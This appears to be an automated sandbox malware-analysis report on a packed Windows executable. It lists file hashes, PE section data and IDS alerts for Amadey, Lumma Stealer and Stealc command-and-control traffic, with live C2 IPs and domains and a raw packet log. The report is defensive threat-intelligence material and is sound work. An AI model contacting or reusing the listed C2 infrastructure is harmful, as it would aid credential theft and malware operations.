Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4065748901211066
Encrypted:	false
SSDEEP:	6:eX3XflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBnl/Al0ut0:wnf2RKQ1CGAFAjzvYRQVBnCldt0
MD5:	52D6B17A49990F2A112B31790313B481
SHA1:	7C219E766C1027B393AD06B76BDB2EEF1624B9D4
SHA-256:	EF38EC152F3C327A32525A94CE9E841B334BC620A0B91CBA8A3C71C00E7928A1
SHA-512:	677A901E20C4142A235D5A3B3B3A828548C6E6517EAE7987751CE31F887A538987EA227AAE7CA753ABA57345BDE67476EC0DC754A61E220631C377618D415134
Malicious:	false
Preview:	......\|'c..@.U...~W*F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133746
Entropy (8bit):	5.436489539509503
Encrypted:	false
SSDEEP:	3072:2PCvjxd0QniyZ+qQf4VBNQ0pqGvx7U+OUaKszQ:ECvv0yTVBNQ0pVvxI+ORQ
MD5:	016232CE8BB83C5140B41E502CBCE3DC
SHA1:	D69CFF5C00EB47230E9B7201533B72FDFF82FE71
SHA-256:	A6683B135E2CF3E81974EC7E437CC22AED2A7D9B402FD2AEC6839C0BDA6AA699
SHA-512:	BCDAE0DE00A1319CD556539D582B7DD54FFA0DE74B28C02FC35F6C1C02B8D6D9C189F93F4D7EB299456D08D61E8848A8BD429786B2BCEEFEF024411C8B3F8F2B
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (827)
Category:	downloaded
Size (bytes):	832
Entropy (8bit):	5.157891967982503
Encrypted:	false
SSDEEP:	24:GS4jMmdi4mSuSSwaBHslgGeT9lCuABuoB7HHHHHHHYqmffffffo:GDjbi4m5oaKlgGeZ01BuSEqmffffffo
MD5:	1904215B543F16A21F6C250052F25448
SHA1:	DE85BEF440ABDE29CB6AC742F7B3287D96882F99
SHA-256:	761947FC5E2B2D9B585FD4933240727DB370D9EC22C44C838892C41E3CA554D0
SHA-512:	FC5580F5963C587B93FB12B529BD2DB1AC868364E330A1CEE65FDFA94D2259FE3357520C67D223904A50692A5792C4DF4D9D3F8D5C7CF688F4B2186DFE4F31F1
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["el dia de los muertos 2024","netflix streaming movies","mega millions winning numbers","mario kart 8 happy meal toys","jorge soler braves trade","hawaii mauna kea snowfall","viswam movie gopichand ott platform","jobs report unemployment"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:fieldtrialtriggered":true,"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9488282759970845
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'894'400 bytes
MD5:	1e33e63c356ac4032505c4a3f7157786
SHA1:	d269e43d5e8439e0a033b3291963b478308f5934
SHA256:	dc143828ace64c6a5de6fd23b99b0b5c73c49f3b1a2a1a585ec356ecd57eaf13
SHA512:	68cba85d1100b31110d866edeb66d5066f12ab8e36e1aeaad78279edd31a013573fb377f364d9b0492aff3b0f2de95cf27dc6779cf14677bc349f4f55d6b04e6
SSDEEP:	49152:NEmEI2wiR3hAOyNuf5PLgDQjzq9GnkyPzxJDMY:NEmH2Nhx7fdIdSPlJ4
TLSH:	CA9533CA9DE3702FE71270FEC2B251B4EBAD14974F5912C1611AA67700B363C35A6A7C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8b0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2EE47C490Ah
shufps xmm3, dqword ptr [eax+eax], 00h
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4aebb0	0x10	uqbleicu
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4aeb60	0x18	uqbleicu
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	86ddec3580df1c592a26a5f7365f23ff	False	0.9981586341961853	data	7.986185819192592	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a7000	0x200	0ca07fb98c15845bb36aa18900882bae	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uqbleicu	0x312000	0x19d000	0x19cc00	b78f6605b5c6708207fb4f6e859cb035	False	0.9948190727210782	data	7.9530760325425325	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hvgssyyw	0x4af000	0x1000	0x400	6a85e0d51e5bd0982bd2272701b3415d	False	0.703125	data	5.637368637213756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b0000	0x3000	0x2200	120bbe5e3ad9e3a24d770f7d8da8b786	False	0.06548713235294118	DOS executable (COM)	0.7731854023039351	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-02T07:16:05.735472+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	63773	185.215.113.43	80	TCP
2024-11-02T07:16:09.037886+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63794	208.109.77.116	80	TCP
2024-11-02T07:16:11.766943+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	63787	TCP
2024-11-02T07:16:12.728113+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.4	63813	185.215.113.43	80	TCP
2024-11-02T07:16:13.854592+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63819	185.215.113.16	80	TCP
2024-11-02T07:16:18.925304+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	50868	1.1.1.1	53	UDP
2024-11-02T07:16:18.940561+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	54087	1.1.1.1	53	UDP
2024-11-02T07:16:18.952164+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	56371	1.1.1.1	53	UDP
2024-11-02T07:16:18.963214+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	55265	1.1.1.1	53	UDP
2024-11-02T07:16:19.017132+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	59645	1.1.1.1	53	UDP
2024-11-02T07:16:19.674142+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63854	188.114.96.3	443	TCP
2024-11-02T07:16:19.674142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63854	188.114.96.3	443	TCP
2024-11-02T07:16:20.299336+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63854	188.114.96.3	443	TCP
2024-11-02T07:16:20.299336+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63854	188.114.96.3	443	TCP
2024-11-02T07:16:20.309414+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63856	185.215.113.43	80	TCP
2024-11-02T07:16:21.066251+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63867	188.114.96.3	443	TCP
2024-11-02T07:16:21.066251+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63867	188.114.96.3	443	TCP
2024-11-02T07:16:21.270569+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63862	185.215.113.16	80	TCP
2024-11-02T07:16:21.767257+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	63867	188.114.96.3	443	TCP
2024-11-02T07:16:21.767257+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63867	188.114.96.3	443	TCP
2024-11-02T07:16:22.674369+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63873	188.114.96.3	443	TCP
2024-11-02T07:16:22.674369+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63873	188.114.96.3	443	TCP
2024-11-02T07:16:23.351438+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	63873	188.114.96.3	443	TCP
2024-11-02T07:16:24.217434+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63884	188.114.96.3	443	TCP
2024-11-02T07:16:24.217434+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63884	188.114.96.3	443	TCP
2024-11-02T07:16:26.239491+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63896	188.114.96.3	443	TCP
2024-11-02T07:16:26.239491+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63896	188.114.96.3	443	TCP
2024-11-02T07:16:26.522216+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63895	185.215.113.43	80	TCP
2024-11-02T07:16:27.760726+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63898	185.215.113.16	80	TCP
2024-11-02T07:16:29.325555+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63909	188.114.96.3	443	TCP
2024-11-02T07:16:29.325555+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63909	188.114.96.3	443	TCP
2024-11-02T07:16:29.638691+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	63908	185.215.113.206	80	TCP
2024-11-02T07:16:29.937001+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	63908	185.215.113.206	80	TCP
2024-11-02T07:16:29.952069+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	63908	TCP
2024-11-02T07:16:30.235267+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	63908	185.215.113.206	80	TCP
2024-11-02T07:16:30.255276+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	63908	TCP
2024-11-02T07:16:31.434601+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	63908	185.215.113.206	80	TCP
2024-11-02T07:16:31.633056+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63923	188.114.96.3	443	TCP
2024-11-02T07:16:31.633056+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63923	188.114.96.3	443	TCP
2024-11-02T07:16:32.035833+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	63908	185.215.113.206	80	TCP
2024-11-02T07:16:33.062501+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63931	185.215.113.43	80	TCP
2024-11-02T07:16:34.038855+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63937	185.215.113.16	80	TCP
2024-11-02T07:16:38.765975+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63970	188.114.96.3	443	TCP
2024-11-02T07:16:38.765975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	63970	188.114.96.3	443	TCP
2024-11-02T07:16:39.228519+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63970	188.114.96.3	443	TCP
2024-11-02T07:16:40.185875+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	63979	185.215.113.16	80	TCP
2024-11-02T07:16:44.068170+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	64006	185.215.113.43	80	TCP
2024-11-02T07:16:55.283955+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	64038	185.215.113.206	80	TCP
2024-11-02T07:16:58.862023+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	64038	185.215.113.206	80	TCP
2024-11-02T07:17:00.858615+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	64038	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 2, 2024 07:14:58.651426077 CET	49675	443	192.168.2.4	173.222.162.32
Nov 2, 2024 07:15:28.221338987 CET	63711	53	192.168.2.4	162.159.36.2
Nov 2, 2024 07:15:28.226218939 CET	53	63711	162.159.36.2	192.168.2.4
Nov 2, 2024 07:15:28.226298094 CET	63711	53	192.168.2.4	162.159.36.2
Nov 2, 2024 07:15:28.226361036 CET	63711	53	192.168.2.4	162.159.36.2
Nov 2, 2024 07:15:28.231537104 CET	53	63711	162.159.36.2	192.168.2.4
Nov 2, 2024 07:15:28.830738068 CET	53	63711	162.159.36.2	192.168.2.4
Nov 2, 2024 07:15:28.831559896 CET	63711	53	192.168.2.4	162.159.36.2
Nov 2, 2024 07:15:28.836591959 CET	53	63711	162.159.36.2	192.168.2.4
Nov 2, 2024 07:15:28.836658001 CET	63711	53	192.168.2.4	162.159.36.2
Nov 2, 2024 07:15:53.699419022 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:53.699451923 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:53.699508905 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:53.699769974 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:53.699781895 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.433787107 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.433852911 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.435379982 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.435389996 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.435587883 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.444046974 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.487334967 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.670000076 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.670022011 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.670036077 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.670121908 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.670133114 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.670255899 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.688743114 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.688759089 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.688888073 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.688894987 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.688994884 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.787991047 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.788007975 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.788188934 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.788197041 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.788239956 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.806072950 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.806088924 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.806140900 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.806147099 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.806186914 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.807950020 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.807966948 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.808000088 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.808005095 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.808043003 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.808043003 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.809746981 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.809762001 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.809828043 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.809834003 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.809873104 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.906126022 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.906141996 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.906275034 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.906280994 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.906392097 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.925084114 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.925100088 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.925179958 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.925208092 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.925254107 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.925482988 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.925499916 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.925544977 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.925551891 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.925592899 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.926362038 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.926383018 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.926426888 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.926433086 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.926462889 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.926489115 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.927877903 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.927895069 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.927989006 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.927995920 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.928085089 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.929681063 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.929694891 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.929791927 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.929797888 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.929883003 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.930356979 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.930372000 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.930469036 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:54.930474997 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:54.930563927 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.022854090 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.022914886 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.022983074 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.023114920 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.023332119 CET	63716	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:15:55.023343086 CET	443	63716	13.107.246.45	192.168.2.4
Nov 2, 2024 07:15:55.023375988 CET	63716	443	192.168.2.4	13.107.246.45
